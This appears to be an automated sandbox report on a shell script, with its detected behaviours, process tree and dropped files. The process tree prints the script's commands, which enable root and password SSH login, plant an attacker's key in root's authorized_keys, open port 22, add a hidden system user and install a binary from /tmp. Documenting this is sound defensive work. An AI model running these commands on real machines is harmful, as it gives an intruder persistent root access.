Analysis

  • max time kernel
    0s
  • max time network
    3s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13/11/2026, 15:19

General

  • Target
    9a59b9faebdde2a6bb88f3ab0f8b8adc030d534d96a08bc0a1dbbf6b9fcbe56d.sh
  • Size 2KB
  • Sample261113-sqa6mac16k
  • SHA256 9a59b9faebdde2a6bb88f3ab0f8b8adc030d534d96a08bc0a1dbbf6b9fcbe56d
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Adds new SSH keys 1 TTPs 2 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

  • Modifies password files for system users/ groups 1 TTPs 4 IoCs

    Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

  • Loads a kernel module 1 IoCs

    Loads a Linux kernel module, potentially to achieve persistence

  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Adds a user to the system 1 IoCs
  • Changes its process name 1 IoCs
  • Creates a desktop entry file 3 TTPs 1 IoCs

    A .desktop file is used by desktop environments to register and launch applications. This can be abused to gain persistence.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 46 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/9a59b9faebdde2a6bb88f3ab0f8b8adc030d534d96a08bc0a1dbbf6b9fcbe56d.sh
    /tmp/9a59b9faebdde2a6bb88f3ab0f8b8adc030d534d96a08bc0a1dbbf6b9fcbe56d.sh
    1⤵
    • Adds new SSH keys
    PID:1518
    • /usr/bin/dirname
      dirname /tmp/9a59b9faebdde2a6bb88f3ab0f8b8adc030d534d96a08bc0a1dbbf6b9fcbe56d.sh
      2⤵
        PID:1521
      • /usr/bin/id
        id -u
        2⤵
        • Reads runtime system information
        PID:1522
      • /bin/cp
        cp -a /etc/ssh/sshd_config /etc/ssh/sshd_config.bak.vnc-lab
        2⤵
        • Reads runtime system information
        PID:1523
      • /bin/sed
        sed -i "s/^[#]*PasswordAuthentication.*/PasswordAuthentication yes/" /etc/ssh/sshd_config
        2⤵
        • Reads runtime system information
        PID:1524
      • /bin/sed
        sed -i "s/^[#]*PermitRootLogin.*/PermitRootLogin yes/" /etc/ssh/sshd_config
        2⤵
        • Reads runtime system information
        PID:1525
      • /bin/sed
        sed -i "s/^[#]*PubkeyAuthentication.*/PubkeyAuthentication yes/" /etc/ssh/sshd_config
        2⤵
        • Reads runtime system information
        PID:1526
      • /bin/grep
        grep -q "^PasswordAuthentication " /etc/ssh/sshd_config
        2⤵
          PID:1527
        • /bin/grep
          grep -q "^PermitRootLogin " /etc/ssh/sshd_config
          2⤵
            PID:1528
          • /bin/grep
            grep -q "^PubkeyAuthentication " /etc/ssh/sshd_config
            2⤵
              PID:1529
            • /usr/sbin/sshd
              sshd -t
              2⤵
              • Reads runtime system information
              PID:1530
            • /bin/systemctl
              systemctl enable ssh
              2⤵
              • Changes its process name
              • Reads runtime system information
              PID:1531
              • /lib/systemd/systemd-sysv-install
                /lib/systemd/systemd-sysv-install enable ssh
                3⤵
                  PID:1532
                  • /usr/bin/getopt
                    getopt -o r: --long root: -- enable ssh
                    4⤵
                      PID:1533
                    • /usr/sbin/update-rc.d
                      /usr/sbin/update-rc.d ssh defaults
                      4⤵
                        PID:1534
                        • /usr/local/sbin/systemctl
                          systemctl daemon-reload
                          5⤵
                            PID:1535
                          • /usr/local/bin/systemctl
                            systemctl daemon-reload
                            5⤵
                              PID:1535
                            • /usr/sbin/systemctl
                              systemctl daemon-reload
                              5⤵
                                PID:1535
                              • /usr/bin/systemctl
                                systemctl daemon-reload
                                5⤵
                                  PID:1535
                                • /sbin/systemctl
                                  systemctl daemon-reload
                                  5⤵
                                    PID:1535
                                  • /bin/systemctl
                                    systemctl daemon-reload
                                    5⤵
                                    • Reads runtime system information
                                    PID:1535
                                • /usr/sbin/update-rc.d
                                  /usr/sbin/update-rc.d ssh enable
                                  4⤵
                                    PID:1563
                                    • /usr/local/sbin/systemctl
                                      systemctl daemon-reload
                                      5⤵
                                        PID:1564
                                      • /usr/local/bin/systemctl
                                        systemctl daemon-reload
                                        5⤵
                                          PID:1564
                                        • /usr/sbin/systemctl
                                          systemctl daemon-reload
                                          5⤵
                                            PID:1564
                                          • /usr/bin/systemctl
                                            systemctl daemon-reload
                                            5⤵
                                              PID:1564
                                            • /sbin/systemctl
                                              systemctl daemon-reload
                                              5⤵
                                                PID:1564
                                              • /bin/systemctl
                                                systemctl daemon-reload
                                                5⤵
                                                • Reads runtime system information
                                                PID:1564
                                        • /bin/systemctl
                                          systemctl enable sshd
                                          2⤵
                                          • Reads runtime system information
                                          PID:1605
                                        • /bin/systemctl
                                          systemctl restart ssh
                                          2⤵
                                          • Reads runtime system information
                                          PID:1606
                                        • /bin/mkdir
                                          mkdir -p /root/.ssh
                                          2⤵
                                          • Reads runtime system information
                                          PID:1609
                                        • /usr/bin/touch
                                          touch /root/.ssh/authorized_keys
                                          2⤵
                                          • Adds new SSH keys
                                          PID:1610
                                        • /bin/grep
                                          grep -qxF "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKzl/BTJNc14ZQkkkYqBZaOQbHvS9s1BBcKItmeEV2+N vnc-lab-coord" /root/.ssh/authorized_keys
                                          2⤵
                                            PID:1611
                                          • /bin/chmod
                                            chmod 700 /root/.ssh
                                            2⤵
                                              PID:1612
                                            • /bin/chmod
                                              chmod 600 /root/.ssh/authorized_keys
                                              2⤵
                                                PID:1613
                                              • /usr/bin/cut
                                                cut -d: -f6
                                                2⤵
                                                  PID:1616
                                                • /usr/bin/getent
                                                  getent passwd scanner
                                                  2⤵
                                                    PID:1615
                                                  • /usr/bin/cut
                                                    cut -d: -f6
                                                    2⤵
                                                      PID:1619
                                                    • /usr/bin/getent
                                                      getent passwd scaner
                                                      2⤵
                                                        PID:1618
                                                      • /usr/sbin/ufw
                                                        ufw allow 22/tcp
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:1620
                                                        • /sbin/iptables
                                                          /sbin/iptables -V
                                                          3⤵
                                                            PID:1621
                                                          • /sbin/iptables
                                                            /sbin/iptables -N ufw-caps-testqukrh9v0
                                                            3⤵
                                                              PID:1622
                                                            • /sbin/iptables
                                                              /sbin/iptables -A ufw-caps-testqukrh9v0 -m conntrack --ctstate NEW -m recent --set
                                                              3⤵
                                                                PID:1624
                                                              • /sbin/iptables
                                                                /sbin/iptables -A ufw-caps-testqukrh9v0 -m conntrack --ctstate NEW -m recent --update --seconds 30 --hitcount 6
                                                                3⤵
                                                                  PID:1635
                                                                • /sbin/iptables
                                                                  /sbin/iptables -F ufw-caps-testqukrh9v0
                                                                  3⤵
                                                                    PID:1636
                                                                  • /sbin/iptables
                                                                    /sbin/iptables -X ufw-caps-testqukrh9v0
                                                                    3⤵
                                                                      PID:1637
                                                                    • /sbin/ip6tables
                                                                      /sbin/ip6tables -N ufw6-caps-test5ru5huet
                                                                      3⤵
                                                                      • Reads runtime system information
                                                                      PID:1638
                                                                      • /sbin/modprobe
                                                                        /sbin/modprobe ip6_tables
                                                                        4⤵
                                                                        • Loads a kernel module
                                                                        • Enumerates kernel/hardware configuration
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:1639
                                                                    • /sbin/ip6tables
                                                                      /sbin/ip6tables -A ufw6-caps-test5ru5huet -m conntrack --ctstate NEW -m recent --set
                                                                      3⤵
                                                                        PID:1643
                                                                      • /sbin/ip6tables
                                                                        /sbin/ip6tables -A ufw6-caps-test5ru5huet -m conntrack --ctstate NEW -m recent --update --seconds 30 --hitcount 6
                                                                        3⤵
                                                                          PID:1646
                                                                        • /sbin/ip6tables
                                                                          /sbin/ip6tables -F ufw6-caps-test5ru5huet
                                                                          3⤵
                                                                            PID:1648
                                                                          • /sbin/ip6tables
                                                                            /sbin/ip6tables -X ufw6-caps-test5ru5huet
                                                                            3⤵
                                                                              PID:1649
                                                                          • /usr/bin/id
                                                                            id vnc-lab
                                                                            2⤵
                                                                            • Reads runtime system information
                                                                            PID:1650
                                                                          • /usr/sbin/useradd
                                                                            useradd --system --create-home --home-dir /var/lib/vnc-lab --shell /usr/sbin/nologin vnc-lab
                                                                            2⤵
                                                                            • Modifies password files for system users/ groups
                                                                            • OS Credential Dumping
                                                                            • Adds a user to the system
                                                                            • Creates a desktop entry file
                                                                            • Reads runtime system information
                                                                            PID:1651
                                                                            • /usr/sbin/nscd
                                                                              nscd -i passwd
                                                                              3⤵
                                                                                PID:1652
                                                                              • /usr/sbin/nscd
                                                                                nscd -i group
                                                                                3⤵
                                                                                  PID:1653
                                                                                • /sbin/pam_tally2
                                                                                  pam_tally2 --user vnc-lab --reset --quiet
                                                                                  3⤵
                                                                                    PID:1654
                                                                                  • /usr/sbin/nscd
                                                                                    nscd -i passwd
                                                                                    3⤵
                                                                                      PID:1655
                                                                                    • /usr/sbin/nscd
                                                                                      nscd -i group
                                                                                      3⤵
                                                                                        PID:1656
                                                                                    • /bin/mkdir
                                                                                      mkdir -p /var/lib/vnc-lab
                                                                                      2⤵
                                                                                      • Reads runtime system information
                                                                                      PID:1657
                                                                                    • /usr/bin/install
                                                                                      install -m 755 /tmp/vnc-lab /var/lib/vnc-lab/vnc-lab
                                                                                      2⤵
                                                                                      • Reads runtime system information
                                                                                      PID:1658

                                                                                  Network

                                                                                        MITRE ATT&CK Enterprise v16

                                                                                        Replay Monitor

                                                                                        Loading Replay Monitor...

                                                                                        Downloads

                                                                                        group+

                                                                                        • Path /etc/group+
                                                                                        • Size 931B
                                                                                        • SHA256 1d62880af87d785df914c30e0916fdcabaf450751197cd8d0fcd1befbe36df5d
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        gshadow+

                                                                                        • Path /etc/gshadow+
                                                                                        • Size 774B
                                                                                        • SHA256 55aee96822bc3ee7e42e7a9bfef79a591536d330477f1672fb55214ef79d7d3a
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        passwd+

                                                                                        • Path /etc/passwd+
                                                                                        • Size 2KB
                                                                                        • SHA256 1587ecba21a78c8a642c31676a27d68ccb95b333d9aaa19a9e466eca393121fd
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        shadow+

                                                                                        • Path /etc/shadow+
                                                                                        • Size 1KB
                                                                                        • SHA256 b6ad98b8d2d21edd9163de27f9b3a7af7255e183adbc3c97e1f7421fca5c24a4
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        sedPnDsVX

                                                                                        • Path /etc/ssh/sedPnDsVX
                                                                                        • Size 3KB
                                                                                        • SHA256 74e3874e2921a1c0b76f74293c225d27646968ddf6078148dcfb9d38e9e1f6c2
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        sedVxqEXW

                                                                                        • Path /etc/ssh/sedVxqEXW
                                                                                        • Size 3KB
                                                                                        • SHA256 29b3ac87550dfa7424159337e273ec126db716766fa623e946883bafd2678c1c
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        seduyQx0W

                                                                                        • Path /etc/ssh/seduyQx0W
                                                                                        • Size 3KB
                                                                                        • SHA256 bae6f2e66ff600c41e1b8acb3ab4ce083a5908781f0b0f0ba38da86d4fdef216
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        sshd_config.bak.vnc-lab

                                                                                        • Path /etc/ssh/sshd_config.bak.vnc-lab
                                                                                        • Size 3KB
                                                                                        • SHA256 c39ec4c3b2a03e0e2494faf628b720b2ded132884411c621b423bd3910930504
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        authorized_keys

                                                                                        • Path /root/.ssh/authorized_keys
                                                                                        • Size 95B
                                                                                        • SHA256 147687b72873c04ebca9b30a5757c80cc0869b50a989cd1e233da4d8271de7e3
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        tmp1awvvo2q

                                                                                        • Path /tmp/tmp1awvvo2q
                                                                                        • Size 1KB
                                                                                        • SHA256 6398538b7da3fde0cff53585ffa7212a0d23d87ae05362d5333a67dceb720437
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        tmphrwmwgxt

                                                                                        • Path /tmp/tmphrwmwgxt
                                                                                        • Size 1KB
                                                                                        • SHA256 0e8688803c218f5e38986a47a4b664492b51df41e59813f5caf9f04f3c787b41
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        u5diw6_p

                                                                                        • Path /tmp/u5diw6_p
                                                                                        • Size 4B
                                                                                        • SHA256 f02285fb90ed8c81531fe78cf4e2abb68a62be73ee7d317623e2c3e3aefdfff2
                                                                                        • MD5 SHA1 SHA512

                                                                                        .bash_logout

                                                                                        • Path /var/lib/vnc-lab/.bash_logout
                                                                                        • Size 220B
                                                                                        • SHA256 26882b79471c25f945c970f8233d8ce29d54e9d5eedcd2884f88affa84a18f56
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        .bashrc

                                                                                        • Path /var/lib/vnc-lab/.bashrc
                                                                                        • Size 3KB
                                                                                        • SHA256 342099da4dd28c394d3f8782d90d7465cb2eaa611193f8f378d6918261cb9bb8
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        .profile

                                                                                        • Path /var/lib/vnc-lab/.profile
                                                                                        • Size 807B
                                                                                        • SHA256 28b4a453b68dde64f814e94bab14ee651f4f162e15dd9920490aa1d49f05d2a4
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        examples.desktop

                                                                                        • Path /var/lib/vnc-lab/examples.desktop
                                                                                        • Size 8KB
                                                                                        • SHA256 913b87897ffb6dca07e9f17e280aa8ecb9886dffeda8a15efeafec11dec0d108
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH